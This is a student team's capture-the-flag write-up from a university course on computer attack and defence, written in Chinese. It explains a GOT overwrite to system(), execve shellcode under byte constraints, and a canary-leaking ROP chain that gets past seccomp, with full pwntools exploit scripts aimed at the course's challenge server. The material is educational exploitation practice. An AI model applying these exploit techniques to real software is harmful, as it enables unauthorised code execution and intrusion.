電腦攻防 project1
=
###### tags: `Course - The Attack and Defense of Computers`
## 小組名單 - 第10組
108502530 曹鈞翔
108502532 丁麒源
108502533 廖宥霖
## Helloworld_again
### Difference: system() and execve()
execve(“/bin/sh”,0,0)是一個system call,它是在一個單獨的程序中執行,所以後來執行的程序會把之前的蓋掉,不管如何都回不到execve之後的code
system(“/bin/sh”)的內容是fork + execve + waitpid,所以bin/sh會在一個新的thread中執行,執行完後可以回到原本system底下的code
至於為何helloowrld_again中,需要直接執行system那行,不能從function開始處執行,是因為system()函式中會調用到
movaps XMMWORD PTR [rsp+0x50], xmm0
這行asm code
在 64 bits 環境下,有些glibc版本會預設stack位址要對齊16bytes,即rsp的值要能被16整除,且rsp最後一碼必須為0
而helloowrld_again中的helloworld函式開頭的兩行指令就會造成rsp不對齊16bytes
若不直接跳到system那行而選擇從頭執行,可以在ret到這個函式前先呼叫另一個位址的ret,這樣可以讓rsp位址-8(pop),就符合對齊16bytes的規定了
## Cyberpsychosis
透過把某個function的GOT改成system()的位址,在call該function的時候就會變成call system(),此時輸入'/bin/sh'就可以呼叫shell
### 已知條件
implants在 0x4050E0
每個index分別在implant + 80 * index
implant name在implant + 80 * index + 32
透過disasmbly發現read()的GOT在implant + 80 * -2的位置(implant[-2])
填入value前會call atol()
atol()的GOT在implant name[-2] + 8
### 取得read()的got address
要在show_info印出資訊,需要先填入value。
先進入edit_info輸入-2,輸入任意合理範圍的name和value,再進show_info輸入-2則會在limbs的位置印出read()的got address。
### 計算system的address
system address = read address - read offset + system offset
### 改寫GOT
進入edit_info輸入-2,在name輸入8bytes padding + system address,成功把atol()改寫成system(),在value輸入"/bin/sh",就會變成call system(/bin/sh),就可以開啟shell了。
### Code

### 結果

## Modohayaku
### 題目限制
輸入的字串中,從0開始包含0,每11個數往下數2位分別要是0xc, 0x87, 0x63,且字串中不能有NOP
### shellcode相關
為了避免0x63影響到正常需要執行的shellcode,在其後添加一個不影響正常執行的數字
並在shellcode中使用jmp指令來跳過填充指令,使最後執行時只會執行到我們需要的部分
我使用的syscall為sys_execve 要求為 rax = 59 rsi,rdx=0 rdi=要執行的檔案名稱
### 找到bin/sh
透過gdb查找放在最後的bin/sh位置


將rdi改成bin/sh位置即完成此題

```python =
context.arch='amd64'
#r = process('./modohayaku')
r = remote("ctf.adl.tw", 10002)
myshellcode =bytearray(
asm(
"""
nop
nop
nop
nop
xor rsi, rsi
jmp $+8
or al, 0x0
nop
nop
nop
nop
mov rdi, rbp
jmp $+8
or al, 0x0
nop
nop
nop
nop
sub rdi, 0x8c
nop
nop
nop
nop
xor rsi, rsi
jmp $+8
or al, 0x0
nop
nop
nop
mov rdx, rsi
mov al, 0x3b
jmp $+7
push rax
nop
nop
nop
push rax
syscall
jmp $+7
xor rsi, rsi
nop
nop
nop
"""
)
)
for i in range(0,len(myshellcode),11):
if i<= len(myshellcode):
if myshellcode[i] !=0xc:
myshellcode[i] =0xc
if i+1<= len(myshellcode):
if myshellcode[i+1] !=0x87:
myshellcode[i+1] =0x87
if i+2<= len(myshellcode):
if myshellcode[i+2] !=0x63:
myshellcode[i+2] =0x63
if i+3 != len(myshellcode):
if myshellcode[i+3] !=0x13:
myshellcode[i+3] =0x13
myshellcode.pop()
bin = b'/bin/sh\0'
myshellcode = myshellcode+bin
myshellcode = bytes(myshellcode)
sendstr = myshellcode+b'\x01'*(0xb0-len(myshellcode))
bytesendstr = bytearray(sendstr)
for i in range(77,len(bytesendstr)-2,11):
if i<= len(bytesendstr):
if bytesendstr[i] !=0xc:
bytesendstr[i] =0xc
if i+1<= len(bytesendstr):
if bytesendstr[i+1] !=0x87:
bytesendstr[i+1] =0x87
if i+2<= len(bytesendstr):
if bytesendstr[i+2] !=0x63:
bytesendstr[i+2] =0x63
ans = bytes(bytesendstr)
r.recvuntil('are!!!')
r.send(ans)
r.interactive()
```
## Test Subject 087
### 保護機制
* gef checksec()

* seccomp-tools

### 解題過程
1. 該題有canary和PIE,所以需要尋找漏洞來破解,在察看了經過反編譯的程式碼後,發現該程式有個地方會跟使用者要一個最長127 byte的字串,但buffer只有24 byte,所以可以用來overflow。

2. 而這個地方是個迴圈,跟使用者要輸入後會把剛剛輸入的東西印出來,所以可以利用這個特性把canary找出來,在觀察程式碼後發現canary就在buffer隔壁,所以只要輸入24 + 1個byte就能印出canary (加一個byte是因為canary的尾數是00,會終止printf)。
3. 下2次迴圈再如法炮製,把main的stack base和return address都找出來,如此便能確定stack和text的offset,最後一次迴圈把return address換成PLT中`puts()`的位置,並使用gadget把參數改成`puts()`在GOT的位置,目標是讓程式流程跳到`puts()`並洩漏出library的地址。
4. 在得到library的地址後我原本以為只要overflow成`system("/bin/sh")`就結束了,但是我遇到了bad system call這個錯誤,一時不知道該如何是好,等到Demo時助教給了提示後我才注意到原來這題有seccomp,所以`system()`是不能用的。
5. 然後我想說換成c內建的`open()`來讀檔案應該就行了,但試了之後發現c其實用的是`openat`,所以只能自行呼叫`open`才能解開此題,問題是我用ROPgadget沒有找到`syscall; ret`這個gadget,卡了一下,後來發現要使用`--multibr`這個參數才能找到同時有`syscall`和`ret`的gadget。
6. 由於程式中的`read()`只能讀127個byte,所以我就先讓程式流程跳到`read()`並給一個比較大的`count`參數,好讓我的payload可以全部寫進去。
7. 有個要注意的地方是linux的前三個file descriptor分別是stdin, stdout和stderr,所以`read()`的`fd`參數要設成3。
* 以下是找到的flag。

### pwn tools code
```python=
# References:
# PWN 入門 - rop, gadget 是什麼?
# https://tech-blog.cymetrics.io/posts/crystal/pwn-intro-2/
# pwn题绕过canary保护机制新手版
# https://blog.csdn.net/RChaos/article/details/105147321
# 2020高校战役
# https://www.cnblogs.com/countfatcode/p/12516091.html
from pwn import *
context(os="linux", arch="amd64")
context.log_level = "INFO"
# p = process("Test_Subject_087")
p = remote('ctf.adl.tw', 10005)
exe = ELF("Test_Subject_087")
libc = ELF("libc-2.31.so")
# in code
challenge_next = 0x1dfb
g_pop_rdi_ret = 0x1eb3
# in library
g_syscall_ret = 0x630a9
g_pop_rax_ret = 0x36174
g_pop_rsi_ret = 0x2601f
g_pop_rdx_ret = 0x142c92
puts_got = exe.got['puts']
puts_plt = exe.plt['puts']
read_plt = exe.plt['read']
challenge = exe.sym['challenge']
canary = 0
main_ebp = 0
code_base = 0
is_canary_got = False
is_stack_got = False
is_add_got = False
is_libc_got = False
# insert 48 strings with length 127 to something_list
# 48 can be any number, the larger, the better
for i in range(48):
p.sendafter(b'>', b'3')
p.sendafter(b'>', b'2')
p.sendafter(b'>', b'a' * 127)
# loose 3 times to enable hint mode
for i in range(28):
p.sendafter(b'>', b'1')
# get canary and code base address then call puts(puts@got.plt)
p.sendafter(b'>', b'y')
for i in range(8):
p.recvuntil(flat(b'has '))
len = int(p.recvuntil(b' '))
if len == 127:
if is_canary_got == False:
p.sendafter(b'>', b'a' * 24 + b'b')
p.recvuntil(b'aab')
canary = u64(p.recv(7).rjust(8, b'\x00'))
is_canary_got = True
print("canary: " + hex(canary))
elif is_canary_got == True:
if is_stack_got == False:
p.sendafter(b'>', b'a' * 31 + b'b')
p.recvuntil(b'aab')
main_ebp = u64(p.recv(6).ljust(8, b'\x00'))
is_stack_got = True
print("main ebp: " + hex(main_ebp))
elif is_stack_got == True:
if is_add_got == False:
p.sendafter(b'>', b'a' * 39 + b'b')
p.recvuntil(b'aab')
code_base = u64(p.recv(6).ljust(8, b'\x00'))\
- challenge_next
is_add_got = True
print("code base: " + hex(code_base))
elif is_add_got == True:
payload = b'a' * 24 + p64(canary) + b'a' * 8\
+ p64(g_pop_rdi_ret + code_base)\
+ p64(puts_got + code_base)\
+ p64(puts_plt + code_base)\
+ p64(challenge + code_base)
p.sendafter(b'>', payload)
is_libc_got = True
elif len < 127:
p.sendafter(b'>', b'1')
# receive lose image
p.recvuntil(b'You lose.\n')
for i in range(25):
p.recvline()
# get address in got
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
open_libc = libc.sym['open']
print("libc: " + hex(libc.address))
if (is_canary_got == True and
is_stack_got == True and
is_add_got == True and
is_libc_got == True):
print("All got.")
# read()
p.sendafter(b'>', b'y')
for i in range(8):
p.recvuntil(flat(b'has '))
len = int(p.recvuntil(b' '))
if len == 127:
payload = b'a' * 24 + p64(canary) + b'a' * 8\
+ p64(g_pop_rdi_ret + code_base)\
+ p64(0)\
+ p64(g_pop_rsi_ret + libc.address)\
+ p64(main_ebp + 0x40)\
+ p64(g_pop_rdx_ret + libc.address)\
+ p64(184)\
+ p64(read_plt + code_base)
p.sendafter(b'>', payload)
elif len < 127:
p.sendafter(b'>', b'1')
# receive lose image
p.recvuntil(b'You lose.\n')
for i in range(25):
p.recvline()
# open()
payload = p64(g_pop_rdi_ret + code_base)\
+ p64(main_ebp + 0xd8)\
+ p64(g_pop_rsi_ret + libc.address)\
+ p64(0)\
+ p64(g_pop_rdx_ret + libc.address)\
+ p64(0)\
+ p64(g_pop_rax_ret + libc.address)\
+ p64(2)\
+ p64(g_syscall_ret + libc.address)
# read()
payload += p64(g_pop_rdi_ret + code_base)\
+ p64(3)\
+ p64(g_pop_rsi_ret + libc.address)\
+ p64(main_ebp + 0xf8)\
+ p64(g_pop_rdx_ret + libc.address)\
+ p64(64)\
+ p64(read_plt + code_base)
# puts()
payload += p64(g_pop_rdi_ret + code_base)\
+ p64(main_ebp + 0xf8)\
+ p64(puts_plt + code_base)\
+ b'/home/test_subject_087/flag\x00'
p.send(payload)
p.interactive()
```